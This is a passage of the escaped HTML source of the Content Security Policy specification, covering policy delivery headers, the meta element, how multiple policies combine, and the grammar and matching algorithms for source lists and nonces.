class=\"tocline\"><a href=\"#sample-violation-report\" class=\"tocxref\"><span class=\"secno\">3.2.6.2 </span>Sample Violation Report</a></li></ul></li><li class=\"tocline\"><a href=\"#security-considerations\" class=\"tocxref\"><span class=\"secno\">3.2.7 </span>Security Considerations</a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#cascading-style-sheet-css-parsing\" class=\"tocxref\"><span class=\"secno\">3.2.7.1 </span>Cascading Style Sheet (CSS) Parsing</a></li><li class=\"tocline\"><a href=\"#violation-reports\" class=\"tocxref\"><span class=\"secno\">3.2.7.2 </span>Violation Reports</a></li></ul></li><li class=\"tocline\"><a href=\"#implementation-considerations\" class=\"tocxref\"><span class=\"secno\">3.2.8 </span>Implementation Considerations</a></li><li class=\"tocline\"><a href=\"#iana-considerations\" class=\"tocxref\"><span class=\"secno\">3.2.9 </span>IANA Considerations</a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#content-security-policy\" class=\"tocxref\"><span class=\"secno\">3.2.9.1 </span>Content-Security-Policy</a></li><li class=\"tocline\"><a href=\"#content-security-policy-report-only\" class=\"tocxref\"><span class=\"secno\">3.2.9.2 </span>Content-Security-Policy-Report-Only</a></li></ul></li></ul></li></ul></li><li class=\"tocline\"><a href=\"#references\" class=\"tocxref\"><span class=\"secno\">A. </span>References</a><ul class=\"toc\"><li class=\"tocline\"><a href=\"#normative-references\" class=\"tocxref\"><span class=\"secno\">A.1 </span>Normative references</a></li><li class=\"tocline\"><a href=\"#informative-references\" class=\"tocxref\"><span class=\"secno\">A.2 </span>Informative references</a></li></ul></li></ul></section>\n\n    \n\n    <section class=\"informative\" id=\"introduction\">\n      <!--OddPage--><h2 aria-level=\"1\" role=\"heading\" id=\"h2_introduction\"><span class=\"secno\">1. </span>Introduction</h2><p><em>This section is non-normative.</em></p>\n\n      <p>This document defines Content Security Policy, a mechanism web\n      applications can use to mitigate a broad class of content injection\n      vulnerabilities, such as cross-site scripting (XSS). Content Security\n      Policy is a declarative policy that lets the authors (or server\n      administrators) of a web application inform the client about the sources\n      from which the application expects to load resources.</p>\n\n      <p>To mitigate XSS attacks, for example, a web application can declare\n      that it only expects to load script from specific, trusted sources. This\n      declaration allows the client to detect and block malicious scripts\n      injected into the application by an attacker.</p>\n\n      <p>Content Security Policy (CSP) is not intended as a first line of\n      defense against content injection vulnerabilities. Instead, CSP is best\n      used as defense-in-depth, to reduce the harm caused by content injection\n      attacks. As a first line of defense against content injection, server\n      operators should validate their input and encode their output.</p>\n\n      <p>There is often a non-trivial amount of work required to apply CSP to\n      an existing web application. To reap the greatest benefit, authors will\n      need to move all inline script and style out-of-line, for example into\n      external scripts, because the user agent cannot determine whether an\n      inline script was injected by an attacker.</p>\n\n      <p>To take advantage of CSP, a web application opts into using CSP by\n      supplying a <code>Content-Security-Policy</code> HTTP header. Such\n      policies apply to the current resource representation only. To supply a\n      policy for an entire site, the server needs to supply a policy with each\n      resource representation.</p>\n    </section>\n\n    <section id=\"conformance\" typeof=\"bibo:Chapter\" resource=\"#ref\" rel=\"bibo:Chapter\"><!--OddPage--><h2 aria-level=\"1\" role=\"heading\" id=\"h2_conformance\"><span class=\"secno\">2. </span>Conformance</h2>\n<p>\n  As well as sections marked as non-normative, all authoring guidelines, diagrams, examples,\n  and notes in this specification are non-normative. Everything else in this specification is\n  normative.\n</p>\n<p>\n  The key words <em class=\"rfc2119\" title=\"MUST\">MUST</em>, <em class=\"rfc2119\" title=\"MUST NOT\">MUST NOT</em>, <em class=\"rfc2119\" title=\"REQUIRED\">REQUIRED</em>, <em class=\"rfc2119\" title=\"SHOULD\">SHOULD</em>, <em class=\"rfc2119\" title=\"SHOULD NOT\">SHOULD NOT</em>, <em class=\"rfc2119\" title=\"RECOMMENDED\">RECOMMENDED</em>, <em class=\"rfc2119\" title=\"MAY\">MAY</em>,\n  and <em class=\"rfc2119\" title=\"OPTIONAL\">OPTIONAL</em> in this specification are to be interpreted as described in [<cite><a class=\"bibref\" href=\"#bib-RFC2119\">RFC2119</a></cite>].\n</p>\n\n      <p>Requirements phrased in the imperative as part of algorithms (such as\n      \"strip any leading space characters\" or \"return false and abort these\n      steps\") are to be interpreted with the meaning of the key word (\"<em class=\"rfc2119\" title=\"MUST\">MUST</em>\",\n      \"<em class=\"rfc2119\" title=\"SHOULD\">SHOULD</em>\", \"<em class=\"rfc2119\" title=\"MAY\">MAY</em>\", etc) used in introducing the algorithm.</p>\n\n      <p>A <dfn id=\"dfn-conformant-user-agent\">conformant user agent</dfn> <em class=\"rfc2119\" title=\"MUST\">MUST</em> implement all the\n      requirements listed in this specification that are applicable to\n      user-agents.\n\n      </p><p>A <dfn id=\"dfn-conformant-server\">conformant server</dfn> <em class=\"rfc2119\" title=\"MUST\">MUST</em> implement all the requirements\n      listed in this specification that are applicable to servers.</p>\n\n      <section id=\"key-concepts-and-terminology\">\n        <h3 aria-level=\"2\" role=\"heading\" id=\"h3_key-concepts-and-terminology\"><span class=\"secno\">2.1 </span>Key Concepts and Terminology</h3>\n\n        <p>This section defines several terms used throughout the document.</p>\n\n        <p>The term <dfn id=\"dfn-security-policy\">security policy</dfn>, or simply <dfn id=\"dfn-policy\">policy</dfn>, for\n        the purposes of this specification refers to either:</p>\n        <ol>\n          <li>a set of security preferences for restrictions within which the\n          content can operate, or</li>\n          <li>a fragment of text that codifies these preferences.</li>\n        </ol>\n\n        <p>The security policies defined by this document are applied by a\n        user agent on a <em>per-resource representation basis</em>.\n        Specifically, when a user agent receives a policy along with the\n        representation of a given resource, that policy applies to <em>that\n        resource representation only</em>. This document often refers to\n        that resource representation as the <dfn id=\"dfn-protected-resource\">protected resource</dfn>.\n\n        </p><p>A server transmits its security policy for a particular protected\n        resource as a collection of <dfn id=\"dfn-directives\">directives</dfn>, such as\n        <code>default-src 'self'</code>, each of which declares a specific set\n        of restrictions for that resource as instantiated by the user agent.\n        More details are provided in the <a href=\"#directives\">directives</a>\n        section.</p>\n\n        <p>A directive consists of a <dfn id=\"dfn-directive-name\">directive name</dfn>, which\n        indicates the privileges controlled by the directive, and a\n        <dfn id=\"dfn-directive-value\">directive value</dfn>, which specifies the restrictions the\n        policy imposes on those privileges.</p>\n\n        <p>The term <dfn id=\"origin\">origin</dfn> is defined in the Origin specification. [<cite><a class=\"bibref\" href=\"#bib-RFC6454\">RFC6454</a></cite>]</p>\n\n        <p>The term <dfn id=\"dfn-globally-unique-identifier\">globally unique identifier</dfn> is defined in section 4 of the Origin specification. Note that URLs that do not use hierarchical elements as naming authorities have origins which are globally unique identifiers. [<cite><a class=\"bibref\" href=\"#bib-RFC6454\">RFC6454</a></cite>]</p>\n\n        <p>The term <dfn id=\"dfn-uri\">URI</dfn> is defined in the URI specification.  [<cite><a class=\"bibref\" href=\"#bib-URI\">URI</a></cite>]</p>\n\n        <p>The term <dfn id=\"dfn-resource-representation\">resource representation</dfn> is defined in the HTTP 1.1 specification.  [<cite><a class=\"bibref\" href=\"#bib-HTTP11\">HTTP11</a></cite>]</p>\n\n        <p>The term <dfn id=\"dfn-json-object\">JSON object</dfn> is defined in the JSON specification.  [<cite><a class=\"bibref\" href=\"#bib-RFC4627\">RFC4627</a></cite>]</p>\n\n        <p>The <code>&lt;script&gt;</code>, <code>&lt;object&gt;</code>, <code>&lt;embed&gt;</code>,\n        <code>&lt;img&gt;</code>, <code>&lt;video&gt;</code>, <code>&lt;audio&gt;</code>,\n        <code>&lt;source&gt;</code>, <code>&lt;track&gt;</code>,\n        <code>&lt;link&gt;</code>, <code>&lt;applet&gt;</code>, <code>&lt;frame&gt;</code>\n        and <code>&lt;iframe&gt;</code> elements are defined in the HTML5 specification. [<cite><a class=\"bibref\" href=\"#bib-HTML5\">HTML5</a></cite>]</p>\n\n        <p>The terms <a href=\"http://www.w3.org/TR/html5/browsers.html#auxiliary-browsing-context\"><dfn id=\"dfn-auxiliary-browsing-context\">auxiliary browsing context</dfn></a>,\n        <a href=\"http://www.w3.org/TR/html5/browsers.html#opener-browsing-context\"><dfn id=\"dfn-opener-browsing-context\">opener browsing context</dfn></a>,\n        and <a href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\"><dfn id=\"dfn-nested-browsing-context\">nested browsing context</dfn></a>\n        are defined in the HTML5 specification. [<cite><a class=\"bibref\" href=\"#bib-HTML5\">HTML5</a></cite>]</p>\n\n        <p>A <a href=\"http://www.w3.org/TR/html5/infrastructure.html#plugin\">plugin</a> is defined\n        in the HTML5 specification. [<cite><a class=\"bibref\" href=\"#bib-HTML5\">HTML5</a></cite>]</p>\n\n        <p>The <code>@font-face</code> Cascading Style Sheets (CSS) rule is defined in the\n        CSS Fonts Module Level 3 specification. [<cite><a class=\"bibref\" href=\"#bib-css-fonts-3\">css-fonts-3</a></cite>]</p>\n\n        <p>The <code>XMLHttpRequest</code> object is defined in the <code>XMLHttpRequest</code>\n        specification. [<cite><a class=\"bibref\" href=\"#bib-XMLHttpRequest\">XMLHttpRequest</a></cite>]</p>\n\n        <p>The <code>WebSocket</code> object is defined in the <code>WebSocket</code>\n        specification. [<cite><a class=\"bibref\" href=\"#bib-websockets\">websockets</a></cite>]</p>\n\n        <p>The <code>EventSource</code> object is defined in the <code>EventSource</code>\n        specification. [<cite><a class=\"bibref\" href=\"#bib-eventsource\">eventsource</a></cite>]</p>\n\n        <p>The Augmented Backus-Naur Form (ABNF) notation used in this\n        document is specified in RFC 5234. [<cite><a class=\"bibref\" href=\"#bib-ABNF\">ABNF</a></cite>]</p>\n\n        <p>This document also uses the ABNF extension \"#rule\" as defined in HTTP 1.1. [<cite><a class=\"bibref\" href=\"#bib-HTTP11\">HTTP11</a></cite>]</p>\n\n        <p>The following core rules are included by reference, as defined in\n        [<em><a href=\"http://tools.ietf.org/html/rfc5234#appendix-B.1\">ABNF Appendix B.1</a></em>]:\n        <code>ALPHA</code> (letters), <code>DIGIT</code> (decimal\n        0-9), <code>WSP</code> (white space) and <code>VCHAR</code> (printing\n        characters).</p>\n      </section>\n    </section>\n\n    <section id=\"framework\">\n      <!--OddPage--><h2 aria-level=\"1\" role=\"heading\" id=\"h2_framework\"><span class=\"secno\">3. </span>Framework</h2>\n\n      <p>This section defines the general framework for content security\n      policies, including the delivery mechanisms and general syntax for\n      policies. The next section contains the details of the specific\n      directives introduced in this specification.</p>\n\n      <section id=\"policy-delivery\">\n        <h3 aria-level=\"2\" role=\"heading\" id=\"h3_policy-delivery\"><span class=\"secno\">3.1 </span>Policy Delivery</h3>\n\n        <p>The server delivers the policy to the user agent via an HTTP\n        response header.</p>\n\n        <section id=\"content-security-policy-header-field\">\n          <h4 aria-level=\"3\" role=\"heading\" id=\"h4_content-security-policy-header-field\"><span class=\"secno\">3.1.1 </span><code>Content-Security-Policy</code> Header Field</h4>\n\n          <p>The <code>Content-Security-Policy</code> header field is the\n          preferred mechanism for delivering a policy.</p>\n\n<pre>\"Content-Security-Policy:\" 1#policy\n</pre>\n\n          <p>A server <em class=\"rfc2119\" title=\"MAY\">MAY</em> send more than one HTTP header field named\n          <code>Content-Security-Policy</code> with a given resource\n          representation.</p>\n\n          <p>A server <em class=\"rfc2119\" title=\"MAY\">MAY</em> send different <code>Content-Security-Policy</code>\n          header field values with different representations of the same\n          resource or with different resources.</p>\n\n          <p>Upon receiving an HTTP response containing at least one\n          <code>Content-Security-Policy</code> header field, the user agent\n          <em class=\"rfc2119\" title=\"MUST\">MUST</em> <a href=\"#enforce\">enforce</a> each of the policies contained\n          in each such header field.</p>\n        </section>\n\n        <section id=\"content-security-policy-report-only-header-field\">\n          <h4 aria-level=\"3\" role=\"heading\" id=\"h4_content-security-policy-report-only-header-field\"><span class=\"secno\">3.1.2 </span><code>Content-Security-Policy-Report-Only</code> Header Field</h4>\n\n          <p>The <code>Content-Security-Policy-Report-Only</code> header field\n          lets servers experiment with policies by monitoring (rather than\n          enforcing) a policy.</p>\n\n<pre>\"Content-Security-Policy-Report-Only:\" 1#policy\n</pre>\n\n          <p>For example, a server operators might wish to develop their\n          security policy iteratively. The operators can deploy a report-only\n          policy based on their best estimate of how their site behaves. If\n          their site violates this policy, instead of breaking the site, the\n          user agent will\n          <a href=\"#dfn-send-violation-reports\">send violation reports</a> to\n          a URI specified in the policy. Once a site has confidence that the\n          policy is appropriate, they start enforcing the policy using the\n          <code>Content-Security-Policy</code> header field.</p>\n\n          <p>A server <em class=\"rfc2119\" title=\"MAY\">MAY</em> send more than one HTTP header field named\n          <code>Content-Security-Policy-Report-Only</code> with a given\n          resource representation.</p>\n\n          <p>A server <em class=\"rfc2119\" title=\"MAY\">MAY</em> send different\n          <code>Content-Security-Policy-Report-Only</code> header field values\n          with different representations of the same resource or with different\n          resources.</p>\n\n          <p>Upon receiving an HTTP response containing at least one\n          <code>Content-Security-Policy-Report-Only</code> header field, the\n          user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> <a href=\"#monitor\">monitor</a> each of the policies\n          contained in each such header field.</p>\n        </section>\n\n        <section id=\"html-meta-element\">\n          <h4 aria-level=\"3\" role=\"heading\" id=\"h4_html-meta-element\"><span class=\"secno\">3.1.3 </span>HTML <code>meta</code> Element</h4>\n\n          <p>The server <em class=\"rfc2119\" title=\"MAY\">MAY</em> supply a policy in an HTML <code>meta</code>\n          element with an <code>http-equiv</code> attribute that is a case\n          insensitive match for <code>Content-Security-Policy</code>.</p>\n\n          <p>Add the following entry to the <a href=\"http://www.w3.org/TR/html5/document-metadata.html#pragma-directives\">pragma\n          directives</a> for the <code>meta</code> element:</p>\n\n          <dl>\n            <dt>Content security policy (<code>http-equiv=\"content-security-policy\"</code>)</dt>\n            <dd>\n              <ol>\n                <li>If the user agent is already enforcing a policy for the\n                document, abort these steps.</li>\n\n                <li>If the Document's <code>head</code> element is not an\n                ancestor of the <code>meta</code> element, abort these\n                steps.</li>\n\n                <li>If the <code>meta</code> element lacks a\n                <code>content</code> attribute, abort these steps.</li>\n\n                <li>Let <var>policy</var> be the value of the\n                <code>content</code> attribute of the <code>meta</code>\n                element.</li>\n\n                <li>Let <var>directive-set</var> be the result of\n                <a href=\"#parse-a-policy\">parsing <var>policy</var></a>.</li>\n\n                <li>Remove all occurances of <code>report-uri</code> and\n                <code>sandbox</code> directives from <var>directive-set</var>.</li>\n\n                <li>Enforce each of the directives in <var>directive-set</var>,\n                as <a href=\"#sec-directives\">defined for each directive type</a>.</li>\n              </ol>\n            </dd>\n          </dl>\n\n          <p>As a consequence of these requirements, a policy supplied in an\n          HTTP header field takes precedence over policies supplied in\n          <code>meta</code> elements. Similarly, the above requirements entail\n          that the first <code>meta</code> element containing a policy takes\n          precedence over policies supplied in subsequent <code>meta</code>\n          elements, and that modifications to the <code>content</code>\n          attribute after it is parsed will be ignored.. Authors <em class=\"rfc2119\" title=\"SHOULD\">SHOULD</em> place\n          the <code>meta</code> element as early in the document as possible\n          to reduce the risk of content injection before a protective policy\n          can be read and enforced.</p>\n          \n          <p>Note that the <code>Content-Security-Policy-Report-Only</code>\n          header is <em>not</em> supported inside a <code>meta</code>\n          element.</p>\n        </section>\n        <section class=\"informative\" id=\"enforcing-multiple-policies.x\">\n          <h4 aria-level=\"3\" role=\"heading\" id=\"h4_enforcing-multiple-policies.x\"><span class=\"secno\">3.1.4 </span>Enforcing multiple policies.</h4><p><em>This section is non-normative.</em></p>\n          <p>The above sections note that when multiple policies are present,\n          each must be enforced or reported, according to its type. An example\n          will help clarify how that ought to work in practice. The behavior of\n          an <code>XMLHttpRequest</code> might seem unclear given a site\n          that, for whatever reason, delivered the following HTTP headers:</p>\n          <pre>Content-Security-Policy: default-src 'self' http://example.com http://example.net;\n                         connect-src 'none';\nContent-Security-Policy: connect-src http://example.com/;\n                         script-src http://example.com/\n          </pre>\n          <p>Is a connection to <code>example.com</code> allowed or not? The\n          short answer is that the connection is not allowed. Enforcing both\n          policies means that a potential connection would have to pass through\n          both unscathed. Even though the second policy would allow this\n          connection, the first policy contains <code>connect-src 'none'</code>,\n          so its enforcement blocks the connection. The impact is that adding\n          additional policies to the list of policies to enforce can only\n          further restrict the capabilities of the protected resource.</p>\n          <p>To demonstrate that further, consider a script tag on this page.\n          The first policy would lock scripts down to <code>'self'</code>,\n          <code>http://example.com</code> and <code>http://example.net</code>\n          via the <code>default-src</code> directive. The second, however, would\n          only allow script from <code>http://example.com/</code>. Script will\n          only load if it meets both policy's criteria: in this case, the only\n          origin that can match is <code>http://example.com</code>, as both\n          policies allow it.</p>\n        </section>\n      </section>\n\n      <section id=\"syntax-and-algorithms\">\n        <h3 aria-level=\"2\" role=\"heading\" id=\"h3_syntax-and-algorithms\"><span class=\"secno\">3.2 </span>Syntax and Algorithms</h3>\n\n        <section id=\"policies\">\n          <h4 aria-level=\"3\" role=\"heading\" id=\"h4_policies\"><span class=\"secno\">3.2.1 </span>Policies</h4>\n\n          <p>A Content Security Policy consists of a U+003B SEMICOLON\n          (<code>;</code>) delimited list of directives:</p>\n\n<pre>policy            = [ directive *( \";\" [ directive ] ) ]\n</pre>\n\n          <p>Each <dfn id=\"dfn-directive\">directive</dfn> consists of a <var>directive-name</var>\n          and (optionally) a <var>directive-value</var>:</p>\n\n<pre>directive         = *WSP [ directive-name [ WSP directive-value ] ]\ndirective-name    = 1*( ALPHA / DIGIT / \"-\" )\ndirective-value   = *( WSP / &lt;VCHAR except \";\" and \",\"&gt; )\n</pre>\n\n          <section id=\"parsing\">\n            <h5 aria-level=\"4\" role=\"heading\" id=\"h5_parsing\"><span class=\"secno\">3.2.1.1 </span>Parsing</h5>\n\n            <p>To <dfn id=\"parse-a-policy\">parse a policy</dfn>\n            <var>policy</var>, the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> use an algorithm equivalent to\n            the following:</p>\n\n            <ol>\n              <li>Let the <var>set of directives</var> be the empty set.</li>\n\n              <li>For each non-empty token returned by <a href=\"http://www.w3.org/TR/html5/infrastructure.html#strictly-split-a-string\">strictly\n              splitting</a> the string <var>policy</var> on the character U+003B\n              SEMICOLON (<code>;</code>):\n                <ol>\n                  <li><a href=\"http://www.w3.org/TR/html5/infrastructure.html#skip-whitespace\">Skip whitespace</a>.</li>\n\n                  <li><a href=\"http://www.w3.org/TR/html5/infrastructure.html#collect-a-sequence-of-characters\">Collect\n                  a sequence of characters</a> that are not\n                  <a href=\"http://www.w3.org/TR/html5/infrastructure.html#space-character\">space characters</a>. The\n                  collected characters are the <var>directive name</var>.</li>\n\n                  <li>If there are characters remaining in <var>token</var>,\n                  skip ahead exactly one character (which must be a <a href=\"http://www.w3.org/TR/html5/infrastructure.html#space-character\">space\n                  character</a>).</li>\n\n                  <li>The remaining characters in <var>token</var> (if any) are\n                  the <var>directive value</var>.</li>\n\n                  <li>If the <var>set of directives</var> already contains a\n                  directive whose name is a case insensitive match for\n                  <var>directive name</var>, ignore this instance of the directive\n                  and continue to the next token.</li>\n\n                  <li>Add a <var>directive</var> to the <var>set of\n                  directives</var> with name <var>directive name</var> and value\n                  <var>directive value</var>.</li>\n                </ol>\n              </li>\n\n              <li>Return the <var>set of directives</var>.\n            </li></ol>\n          </section>\n        </section>\n\n        <section id=\"source-list\">\n          <h4 aria-level=\"3\" role=\"heading\" id=\"h4_source-list\"><span class=\"secno\">3.2.2 </span>Source List</h4>\n\n          <p>Many CSP directives use a value consisting of a <dfn id=\"dfn-source-list\">source\n          list</dfn>.</p>\n\n          <p>Each <dfn id=\"dfn-source-expression\">source expression</dfn> in the source list represents a\n          location from which content of the specified type can be retrieved.\n          For example, the source expression <code>'self'</code> represents\n          the set of URIs which are in the same <a href=\"#origin\">origin</a> as the protected\n          resource and the source expression <code>'unsafe-inline'</code>\n          represents content supplied inline in the resource itself.</p>\n\n<pre>source-list       = *WSP [ source-expression *( 1*WSP source-expression ) *WSP ]\n                  / *WSP \"'none'\" *WSP\nsource-expression = scheme-source / host-source / keyword-source / nonce-source / hash-source\nscheme-source     = scheme \":\"\nhost-source       = [ scheme \"://\" ] host [ port ] [ path ]\nkeyword-source    = \"'self'\" / \"'unsafe-inline'\" / \"'unsafe-eval'\"\nbase64-value      = 1*( ALPHA / DIGIT / \"+\" / \"/\" )*2( \"=\" )\nnonce-value       = base64-value\nhash-value        = base64-value\nnonce-source      = \"'nonce-\" nonce-value \"'\"\nhash-algo         = \"sha256\" / \"sha384\" / \"sha512\"\nhash-source       = \"'\" hash-algo \"-\" base64-value \"'\"\nscheme            = &lt;scheme production from <a href=\"http://tools.ietf.org/html/rfc3986#section-3.1\">RFC 3986, section 3.1</a>&gt;\nhost              = \"*\" / [ \"*.\" ] 1*host-char *( \".\" 1*host-char )\nhost-char         = ALPHA / DIGIT / \"-\"\npath              = &lt;path production from <a href=\"http://tools.ietf.org/html/rfc3986#section-3.3\">RFC 3986, section 3.3</a>&gt;\nport              = \":\" ( 1*DIGIT / \"*\" )\n</pre>\n\n          <p>If the policy contains a <code>nonce-source</code> expression, the\n          server <em class=\"rfc2119\" title=\"MUST\">MUST</em> generate a fresh value for the <code>nonce-value</code>\n          directive at random and independently each time it transmits a policy.\n          This requirement ensures that the <code>nonce-value</code> is difficult\n          for an attacker to predict.</p>\n\n          <p>Note that <code>host-char</code> contains only ASCII characters;\n          internationalized domain names cannot be entered directly into a policy\n          string, but are instead Punycode-encoded [<cite><a class=\"bibref\" href=\"#bib-RFC3492\">RFC3492</a></cite>]. For example, the\n          domain <code>üüüüüü.de</code> would be encoded as\n          <code>xn--tdaaaaaa.de</code>.</p>\n\n          <section id=\"parsing-1\">\n            <h5 aria-level=\"4\" role=\"heading\" id=\"h5_parsing-1\"><span class=\"secno\">3.2.2.1 </span>Parsing</h5>\n\n            <p>To <dfn id=\"parse-a-source-list\">parse a source list</dfn>\n            <var>source list</var>, the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> use an algorithm\n            equivalent to the following:</p>\n\n            <ol>\n              <li>If <var>source list</var> (with <a href=\"http://www.w3.org/TR/html5/infrastructure.html#strip-leading-and-trailing-whitespace\">leading\n              and trailing whitespace stripped</a>) is a case insensitive match\n              for the string <code>'none'</code> (including the quotation\n              marks), return the empty set.</li>\n\n              <li>Let the <var>set of source expressions</var> be the empty set.</li>\n\n              <li>For each token returned by <a href=\"http://www.w3.org/TR/html5/infrastructure.html#split-a-string-on-spaces\">splitting\n              <var>source list</var> on spaces</a>, if the token matches the\n              grammar for <code>source-expression</code>, add the token to the\n              <var>set of source expressions</var>.</li>\n\n              <li>Return the <var>set of source expressions</var>.</li>\n            </ol>\n\n            <p>Note that characters like U+003B SEMICOLON (<code>;</code>) and\n            U+002C COMMA (<code>,</code>) cannot appear in source expressions\n            directly: if you'd like to include these characters in a source\n            expression, they must be <a href=\"http://tools.ietf.org/html/rfc3986#section-2.1\">percent encoded</a>\n            as <code>%3B</code> and <code>%2C</code> respectively.</p>\n          </section>\n\n          <section id=\"matching\">\n            <h5 aria-level=\"4\" role=\"heading\" id=\"h5_matching\"><span class=\"secno\">3.2.2.2 </span>Matching</h5>\n\n            <p>To check whether a URI <dfn id=\"matches-a-source-expression\">matches a source expression</dfn>,\n            the user agent <em class=\"rfc2119\" title=\"MUST\">MUST</em> use an algorithm equivalent to the\n            following:</p>\n\n            <ol>\n              <li>Normalize the URI according to <a href=\"http://tools.ietf.org/html/rfc3986#section-6\">RFC 3986, section 6</a>.</li>\n\n              <li>If the source expression a consists of a single U+002A ASTERISK character\n              (<code>*</code>), then return <em>does match</em>.</li>\n\n              <li>If the source expression matches the grammar for\n              <code>scheme-source</code>:\n                <ol>\n                  <li>If the URI's scheme is a case-insensitive match for the\n                  source expression's <code>scheme</code>, return <em>does\n                  match</em>.</li>\n\n                  <li>Otherwise, return <em>does not match</em>.</li>\n                </ol>\n              </li>\n              <li>If the source expression matches the grammar for\n              <code>host-source</code>:\n                <ol>\n                  <li>If the URI does not contain a host, then return <em>does\n                  not match</em>.</li>\n\n                  <li>Let <var>uri-scheme</var>, <var>uri-host</var>, and\n                  <var>uri-port</var> be the scheme, host, and port of the URI,\n                  respectively. If the URI does not have a port, then let\n                  <var>uri-port</var> be the default port for\n                  <var>uri-scheme</var>. Let <var>uri-path</var> be\n                  the path of the URI after\n                  <a href=\"http://tools.ietf.org/html/rfc3986#section-2.1\">decoding\n                  percent-encoded characters</a>. If the URI does not have a\n                  path, then let <var>uri-path</var> be the U+002F SOLIDUS\n                  character (<code>/</code>).</li>\n\n                  <li>If the source expression has a <code>scheme</code> that is\n                  not a case insensitive match for <var>uri-scheme</var>, then\n                  return <em>does not match</em>.</li>\n\n                  <li>If the source expression does <strong>not</strong> have a\n                  scheme, return <em>does not match</em> if\n                    <ol>\n                      <li>the scheme of the protected resource's URI is a case\n                      insensitive match for <code>HTTP</code>, and\n                      <var>uri-scheme</var> is <strong>not</strong> a case\n                      insensitive match for either <code>HTTP</code> or\n                      <code>HTTPS</code></li>\n                      <li>the scheme of the protected resource's URI is\n                      <strong>not</strong> a case insensitive match for\n                      <code>HTTP</code>, and <var>uri-scheme</var> is\n                      <strong>not</strong> a case insensitive match\n                      for the scheme of the protected resource's URI.</li>\n                    </ol>\n                  </li>\n\n                  <li>If the first character of the source expression's\n                  <code>host</code> is an U+002A ASTERISK character\n                  (<code>*</code>) and the remaining characters, including the\n                  leading U+002E FULL STOP character (<code>.</code>), are not a\n                  case insensitive match for the rightmost characters of\n                  <var>uri-host</var>, then return <em>does not match</em>.</li>\n\n                  <li>If the first character of the source expression's\n                  <code>host</code> is <em>not</em> an U+002A ASTERISK\n                  character (<code>*</code>) and <var>uri-host</var> is not a\n                  case insensitive match for the source expression's\n                  <code>host</code>, then return <em>does not match</em>.</li>\n\n                  <li>If the source expression does <strong>not</strong> contain\n                  a <code>port</code> and <var>uri-port</var> is not the default\n                  port for <var>uri-scheme</var>, then return <em>does not\n                  match</em>.</li>\n\n                  <li>If the source expression does contain a <code>port</code>,\n                  then return <em>does not match</em> if\n                    <ol>\n                      <li><code>port</code> does <strong>not</strong> contain\n                      an U+002A ASTERISK character (<code>*</code>), and</li>\n                      <li><code>port</code> does <strong>not</strong>\n                      represent the same number as <var>uri-port</var>.</li>\n                    </ol>\n                  </li>\n\n                  <li>If the source expression contains a non-empty\n                  <code>path</code>, then:\n                    <ol>\n                      <li>Let <var>decoded-path</var> be the result of\n                      <a href=\"http://tools.ietf.org/html/rfc3986#section-2.1\">decoding\n                      <code>path</code>'s percent-encoded characters</a>.</li>\n\n                      <li>If the final character of <var>decoded-path</var> is\n                      the U+002F SOLIDUS character (<code>/</code>), and\n                      <var>decoded-path</var> is not a prefix of\n                      <var>uri-path</var>, then return <em>does not\n                      match</em>.</li>\n\n                      <li>If the final character of <var>decoded-path</var> is\n                      not the the U+002F SOLIDUS character (<code>/</code>),\n                      and <var>decoded-path</var> is not an exact match for\n                      <var>uri-path</var> then return <em>does not\n                      match</em>.</li>\n                    </ol>\n                  </li>\n\n                  <li>Otherwise, return <em>does match</em>.</li>\n                </ol>\n              </li>\n\n              <li>If the source expression is a case insensitive\n              match for <code>'self'</code> (including the quotation marks),\n              then:\n                <ol>\n                  <li>Return <em>does match</em> if the URI has the same scheme,\n                  host, and port as the protected resource's URI (using the\n                  default port for the appropriate scheme if either or both URIs\n                  are missing ports).</li>\n                </ol>\n              </li>\n\n              <li>Otherwise, return <em>does not match</em>.</li>\n            </ol>\n\n            <p>A URI <dfn id=\"matches-a-source-list\">matches a source\n            list</dfn>, if, and only if, the URI <a href=\"#matches-a-source-expression\">matches at least one source\n            expression</a> in the set of source expressions obtained by <a href=\"#parse-a-source-list\">parsing the source list</a>. Notice that\n            no URIs match an empty set of source expressions, such as the set\n            obtained by parsing the source list <code>'none'</code>.</p>\n\n            <section class=\"informative\" id=\"path-matching\">\n              <h6 aria-level=\"5\" role=\"heading\" id=\"h6_path-matching\"><span class=\"secno\">3.2.2.2.1 </span>Path Matching</h6><p><em>This section is non-normative.</em></p>\n\n              <p>The rules for matching source expressions that contain paths\n              are simpler than they look: paths that end with the '/' character\n              match all files in a directory and its subdirectories. Paths that\n              do not end with the '/' character match only one specific file. A\n              few examples should make this clear:</p>\n              <ol>\n                <li>The source expression <code>example.com</code> has no path,\n                and therefore matches any file served from that host.</li>\n\n                <li>The source expression <code>example.com/scripts/</code>\n                matches any file in the <code>scripts</code> directory of\n                <code>example.com</code>, and any of its subdirectories. For\n                example, both <code>https://example.com/scripts/file.js</code>\n                and <code>https://example.com/scripts/js/file.js</code> would\n                match.</li>\n\n                <li>The source expression\n                <code>example.com/scripts/file.js</code> matches only the file\n                named <code>file.js</code> in the <code>scripts</code> directory\n                of <code>example.com</code>.</li>\n\n                <li>Likewise, the source expression <code>example.com/js</code>\n                matches only the file named <code>js</code>. In particular, note\n                that it would not match files inside a directory named\n                <code>js</code>. Files like <code>example.com/js/file.js</code>\n                would be matched only if the source expression ended with a\n                trailing \"/\", as in <code>example.com/js/</code>.</li>\n              </ol>\n              <p>Note that query strings have no impact on matching: the source\n              expression <code>example.com/file?key=value</code> matches all of\n              <code>https://example.com/file</code>,\n              <code>https://example.com/file?key=value</code>,\n              <code>https://example.com/file?key=notvalue</code>, and\n              <code>https://example.com/file?notkey=notvalue</code>.</p>\n            </section>\n          </section>\n\n          <section id=\"valid-nonces\">\n            <h5 aria-level=\"4\" role=\"heading\" id=\"h5_valid-nonces\"><span class=\"secno\">3.2.2.3 </span>Valid Nonces</h5>\n\n            <p>An element has <dfn id=\"dfn-a-valid-nonce\">a valid nonce</dfn> for a set of source expressions\n            if the value of the <code>nonce</code> attribute of the element after <a href=\"http://www.whatwg.org/specs/web-apps/current-work/#strip-leading-and-trailing-whitespace\">stripping\n            leading and trailing whitespace</a> is a case-sensitive match for the\n            <code>nonce-value</code> component of at least one <code>nonce-source</code>\n            expression in the set of source expressions.</p>\n          